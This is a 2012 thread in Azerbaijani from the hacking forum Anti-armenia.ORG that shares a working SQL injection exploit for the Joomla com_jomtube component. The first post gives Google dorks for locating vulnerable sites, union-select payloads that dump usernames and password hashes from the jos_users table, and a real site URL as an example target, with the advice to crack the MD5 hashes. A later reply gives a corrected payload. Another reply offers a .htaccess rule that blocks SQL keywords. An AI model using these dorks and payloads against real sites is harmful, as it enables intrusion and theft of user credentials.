Anti-armenia.ORG - Forumlar - Joomla açığı 70% İşlək



Istifadəçi
    2012-03-31 06:57 GMT                 

K0K4!N



İstifadəçi
Mesaj Sayı : 115
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 35
Mesaj :

Mövzunu Paylaş!


Dork:

Kod:
inurl:/index.php?option=com_jomtube


Ölkə ölkədə seçə bilərsiniz misal üçün.

Kod:
inurl:.ru/index.php?option=com_jomtube


Əvvəlində ru budur yəni rusiya.

Exploit:

Kod:
php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube


Exploitdəki 3 yerinə password yazın yəni yeni Exploit

Kod:
php?view=videos&type=member&user_id=-62+union+select+1,2,password,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube


Şifrələr MD5 Halında olur bunun üçündə şifrələri qirmaniz yetər.

Örnək Sayt:

Kod:
http://jam-style.ru/index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube

Anti-armenia.ORG
    

Istifadəçi
    2012-03-31 07:41 GMT                 

Mr.Rafiq



İstifadəçi
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək : Web Master
Yaş : 27
Mesaj :

Mövzunu Paylaş!


K0K4!N brat bunu googledə axtarıram saytların sonuna
php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
bunu yazıram amma heçnə gəlmir axı

Anti-armenia.ORG
    

Istifadəçi
    2012-03-31 07:42 GMT                 

K0K4!N



İstifadəçi
Mesaj Sayı : 115
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 35
Mesaj :

Mövzunu Paylaş!


Qaqa Mən O qədərdə aqılsız deyiləmki boş movzu açam

Anti-armenia.ORG
    

Istifadəçi
    2012-03-31 10:04 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Yararlı mövzudur... Joomla-da Qəliz olsada Aydınlıq Vermisən Təşəkkürlər !

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-03-31 11:12 GMT                 

TheRock



Gold
Mesaj Sayı : 71
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : xsecurity
Yaş :
Mesaj :

Mövzunu Paylaş!


SQL injectiondan qorunmaq üçün htaccess üçün altdakı kodları istifadə edin..

Kod:
RewriteCond %{QUERY_STRING} [^a-z](declare|char|set|cast|convert|delete|drop|exec|insert|meta|script|select|truncate|update)[^a-z] [NC]
RewriteRule (.*) - [F] 

AATeam | EH
Anti-armenia.ORG
    

Istifadəçi
    2012-03-31 18:00 GMT                 

aydin-ka



İstifadəçi
Mesaj Sayı : 6
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baki
Ölkə :
Məslək : Hacker (MySQL)
Yaş : 30
Mesaj :

Mövzunu Paylaş!


K0K4!N Koda birəz sehv yazdun...
Belə olmaliydi
Kod:
=com_jomtube&view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option


Kod:
php?&option=com_jomtubeview=videos&type=member&user_id=-62+union+select+1,2,password,4,5,6,7,8,9,10,11,12,group_concat(0x3a5f,username,0x3a,activation,0x5f3a),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--

[URL=http://2ip.ru/][IMG]http://2ip.ru/bar/ip3.gif[/IMG][/URL]
Anti-armenia.ORG